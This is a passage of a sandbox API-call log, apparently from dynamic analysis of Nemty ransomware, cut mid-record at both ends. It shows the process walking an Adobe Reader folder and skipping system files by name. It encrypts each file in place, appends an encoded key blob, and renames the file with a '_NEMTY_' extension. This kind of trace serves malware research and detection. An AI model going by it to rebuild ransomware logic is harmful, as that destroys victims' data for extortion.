ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.JPN", cAlternateFileName="ACCESS~1.JPN")) returned 1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2=".") returned 1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="..") returned 1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="...") returned 1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="windows") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="$RECYCLE.BIN") returned 1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="rsa") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="NTDETECT.COM") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="ntldr") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="MSDOS.SYS") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="IO.SYS") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="boot.ini") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="boot.ini") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="AUTOEXEC.BAT") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="ntuser.dat") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="desktop.ini") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="CONFIG.SYS") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="RECYCLER") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="BOOTSECT.BAK") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="bootmgr") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="programdata") returned -1 [0178.820] lstrcmpiW (lpString1="accessibility.JPN", lpString2="appdata") returned -1 [0178.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.JPN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0178.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.JPN", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.JPN", lpUsedDefaultChar=0x0) returned 17 [0178.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0178.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.JPN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0178.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.JPN", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.JPN", lpUsedDefaultChar=0x0) returned 17 [0178.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0178.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.JPN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0178.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.JPN", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.JPN", lpUsedDefaultChar=0x0) returned 17 [0178.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.JPN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0178.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.JPN", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.JPN", lpUsedDefaultChar=0x0) returned 17 [0178.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.821] Sleep (dwMilliseconds=0x5) [0178.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e3dd7b0, dwHighDateTime=0x1d561e8)) [0178.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e3dd7b0, dwHighDateTime=0x1d561e8)) [0178.836] GetLastError () returned 0xb7 [0178.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.836] GetLastError () returned 0xb7 [0178.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0178.836] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.836] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.837] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.837] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="vM46CxGB+qllzzgwUMflt0fCXIxmnt0MlHf1TDmdRzsgQcIDcbSQ/D6C+z83/Ewm\r\nw7nMmIhgy9vVyDUiDMGlj64QdyQVGcrp89RMtsP/cJP7Tq0nG3Uqr0a7t9lQJqdj\r\nW3T9Iz9Eg1gU5Qj3jYTeED5EMB+Ey9mQCtwtgBJUG5r1B4A3RQQWJX8mzV7MGWEx\r\n/8xzyF/l7+RmtqCR8qaCr6dcyKZH9z+XITabXiUdCpHSIAqEmEqOYwqjBQ9wONX1\r\nxw9m2bP8LLYSRZA/2SBYwQ+3xBbv7Tt7qJQrWBGb6Z53Vr+vJYHVPKKOBGTM9qNQ\r\nZ2rQI+mXsecx+DvnfS3SLA==\r\n", pcchString=0x653e5dc) returned 1 [0178.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0178.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.837] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\accessibility.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\accessibility.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.838] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=31744) returned 1 [0178.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7c00) returned 0x6352c48 [0178.838] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.838] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7c00, lpOverlapped=0x0) returned 1 [0178.841] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.841] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7c00, lpOverlapped=0x0) returned 1 [0178.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.842] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00 [0178.842] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.842] CloseHandle (hObject=0x2e8) returned 1 [0178.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0178.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0178.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0178.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0178.842] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\accessibility.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\accessibility.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\accessibility.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\accessibility.jpn._nemty_kgobjgd_")) returned 1 [0178.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.843] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.JPN", cAlternateFileName="")) returned 1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2=".") returned 1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="..") returned 1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="...") returned 1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="windows") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="$RECYCLE.BIN") returned 1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="rsa") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="NTDETECT.COM") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="ntldr") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="MSDOS.SYS") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="IO.SYS") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="boot.ini") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="boot.ini") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="AUTOEXEC.BAT") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="ntuser.dat") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="desktop.ini") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="CONFIG.SYS") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="RECYCLER") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="BOOTSECT.BAK") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="bootmgr") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="programdata") returned -1 [0178.843] lstrcmpiW (lpString1="Acroform.JPN", lpString2="appdata") returned -1 [0178.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.JPN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.JPN", lpUsedDefaultChar=0x0) returned 12 [0178.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.JPN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.JPN", lpUsedDefaultChar=0x0) returned 12 [0178.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.JPN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.JPN", lpUsedDefaultChar=0x0) returned 12 [0178.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.JPN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.JPN", lpUsedDefaultChar=0x0) returned 12 [0178.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.844] Sleep (dwMilliseconds=0x5) [0178.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e403910, dwHighDateTime=0x1d561e8)) [0178.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e403910, dwHighDateTime=0x1d561e8)) [0178.852] GetLastError () returned 0x0 [0178.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.852] GetLastError () returned 0x0 [0178.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.852] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.852] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.852] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.852] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="yY8Ec/CPtIHfoVNmNWeg+Qhx0jFhKXUOnsaboogO3WeIa3Loet72xpeOtMiMJj8H\r\npXTg5XPVfdye8c9Fd4cLkzBjnR15UpjvXurozyN+g13domPgp94TYRMQ1/JY9UNq\r\nvqmeosLeHTItjxzUvLCi7IqW3/UGVqY7j6sgnwjjYbWR8ePv3hN2BHfrXCAUUVr7\r\nQtofNybj33S4wxHIYFG99zj30cFrQ+Pvp7DOj5BbwxFodoB7GCDi4uPnGz5AcRXZ\r\nFYQh4BWLRA0QQ2BOs3hy0KY4A4wkNe94yZcH3qkM8ZoWuv7T5IzlAVVLsBGZgtOi\r\nflFK4Rh+MvriMYRXTGi2ig==\r\n", pcchString=0x653e5dc) returned 1 [0178.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.853] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Acroform.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\acroform.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.853] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=297984) returned 1 [0178.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0178.853] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.854] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0178.862] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.863] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0178.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.863] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=297984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x48c00 [0178.863] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.865] CloseHandle (hObject=0x2e8) returned 1 [0178.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.865] RtlAllocateHeap (HeapHandle=0x4f90000, 